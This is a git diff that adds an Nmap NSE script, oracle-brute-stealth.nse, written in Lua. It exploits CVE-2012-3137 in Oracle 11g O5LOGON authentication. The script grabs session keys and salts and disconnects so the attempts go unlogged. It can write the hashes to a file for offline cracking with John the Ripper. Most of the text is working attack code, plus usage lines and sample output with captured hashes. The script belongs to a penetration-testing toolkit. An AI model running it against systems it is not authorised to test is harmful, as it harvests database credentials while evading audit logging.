diff options
Diffstat (limited to 'scripts/oracle-brute-stealth.nse')
-rw-r--r-- | scripts/oracle-brute-stealth.nse | 207 |
1 files changed, 207 insertions, 0 deletions
diff --git a/scripts/oracle-brute-stealth.nse b/scripts/oracle-brute-stealth.nse new file mode 100644 index 0000000..00d9041 --- /dev/null +++ b/scripts/oracle-brute-stealth.nse @@ -0,0 +1,207 @@ +local brute = require "brute" +local coroutine = require "coroutine" +local creds = require "creds" +local io = require "io" +local nmap = require "nmap" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local stringaux = require "stringaux" +local tns = require "tns" +local unpwdb = require "unpwdb" + +local openssl = stdnse.silent_require "openssl" + +description = [[ +Exploits the CVE-2012-3137 vulnerability, a weakness in Oracle's +O5LOGIN authentication scheme. The vulnerability exists in Oracle 11g +R1/R2 and allows linking the session key to a password hash. When +initiating an authentication attempt as a valid user the server will +respond with a session key and salt. Once received the script will +disconnect the connection thereby not recording the login attempt. +The session key and salt can then be used to brute force the users +password. +]] + +--- +-- @see oracle-brute.nse +-- +-- @usage +-- nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL <host> +-- +-- @output +-- PORT STATE SERVICE REASON +-- 1521/tcp open oracle syn-ack +-- | oracle-brute-stealth: +-- | Accounts +-- | dummy:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - Hashed valid or invalid credentials +-- | nmap:$o5logon$D1B28967547DBA3917D7B129E339F96156C8E2FE5593D42540992118B3475214CA0F6580FD04C2625022054229CAAA8D*7BCF2ACF08F15F75B579 - Hashed valid or invalid credentials +-- | Statistics +-- |_ Performed 2 guesses in 1 seconds, average tps: 2 +-- +-- @args oracle-brute-stealth.sid - the instance against which to perform password guessing +-- @args oracle-brute-stealth.nodefault - do not attempt to guess any Oracle default accounts +-- @args oracle-brute-stealth.accounts - a list of comma separated accounts to test +-- @args oracle-brute-stealth.johnfile - if specified the hashes will be written to this file to be used by JtR + +-- +-- Version 0.1 +-- Created 06/10/2012 - v0.1 - created by Dhiru Kholia +-- +-- Summary +-- ------- +-- x The Driver class contains the driver implementation used by the brute +-- library + +author = "Dhiru Kholia" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"intrusive", "brute"} + +portrule = shortport.port_or_service(1521, "oracle-tns", "tcp", "open") + +local ConnectionPool = {} +local arg_johnfile = stdnse.get_script_args(SCRIPT_NAME .. '.johnfile') +local johnfile + +Driver = +{ + + new = function(self, host, port, sid ) + local o = { host = host, port = port, sid = sid } + setmetatable(o, self) + self.__index = self + return o + end, + + --- Connects performs protocol negotiation + -- + -- @return true on success, false on failure + connect = function( self ) + local MAX_RETRIES = 10 + local tries = MAX_RETRIES + + self.helper = ConnectionPool[coroutine.running()] + if ( self.helper ) then return true end + + self.helper = tns.Helper:new( self.host, self.port, self.sid ) + + -- This loop is intended for handling failed connections + -- A connection may fail for a number of different reasons. + -- For the moment, we're just handling the error code 12520 + -- + -- Error 12520 has been observed on Oracle XE and seems to + -- occur when a maximum connection count is reached. + local status, data + repeat + if ( tries < MAX_RETRIES ) then + stdnse.debug2("Attempting to re-connect (attempt %d of %d)", MAX_RETRIES - tries, MAX_RETRIES) + end + status, data = self.helper:Connect() + if ( not(status) ) then + stdnse.debug2("ERROR: An Oracle %s error occurred", data) + self.helper:Close() + else + break + end + tries = tries - 1 + stdnse.sleep(1) + until( tries == 0 or data ~= "12520" ) + + if ( status ) then + ConnectionPool[coroutine.running()] = self.helper + end + + return status, data + end, + + --- Attempts to login to the Oracle server + -- + -- @param username string containing the login username + -- @param password string containing the login password + -- @return status, true on success, false on failure + -- @return brute.Error object on failure + -- creds.Account object on success + login = function( self, username, password ) + local status, data = self.helper:StealthLogin( username, password ) + + if ( data["AUTH_VFR_DATA"] ) then + local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"]) + if ( johnfile ) then + johnfile:write(("%s:%s\n"):format(username,hash)) + end + return true, creds.Account:new(username, hash, creds.State.HASHED) + else + return false, brute.Error:new( data ) + end + + + end, + + --- Disconnects and terminates the Oracle TNS communication + disconnect = function( self ) + return true + end, + +} + +local function fail (err) return stdnse.format_output(false, err) end + +action = function(host, port) + local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst" + local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid') + local engine = brute.Engine:new(Driver, host, port, sid) + local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts') + local mode = arg_accounts and "accounts" or "default" + + if ( not(sid) ) then + return fail("Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)") + end + + if ( arg_johnfile ) then + johnfile = io.open(arg_johnfile, "w") + if ( not(johnfile) ) then + return fail(("Failed to open %s for writing"):format(johnfile)) + end + end + + local helper = tns.Helper:new( host, port, sid ) + local status, result = helper:Connect() + if ( not(status) ) then + return fail("Failed to connect to oracle server") + end + helper:Close() + + if ( stdnse.get_script_args('userdb') or + stdnse.get_script_args('passdb') or + stdnse.get_script_args('oracle-brute-stealth.nodefault') or + stdnse.get_script_args('brute.credfile') ) then + mode = nil + end + + if ( mode == "default" ) then + local f = nmap.fetchfile(DEFAULT_ACCOUNTS) + if ( not(f) ) then + return fail(("Failed to find %s"):format(DEFAULT_ACCOUNTS)) + end + + f = io.open(f) + if ( not(f) ) then + return fail(("Failed to open %s"):format(DEFAULT_ACCOUNTS)) + end + + engine.iterator = brute.Iterators.credential_iterator(f) + elseif( "accounts" == mode ) then + engine.iterator = unpwdb.table_iterator(stringaux.strsplit(",%s*", arg_accounts)) + end + + engine.options.useraspass = false + engine.options.mode = "user" + engine.options.script_name = SCRIPT_NAME + status, result = engine:start() + + if ( johnfile ) then + johnfile:close() + end + + return result +end |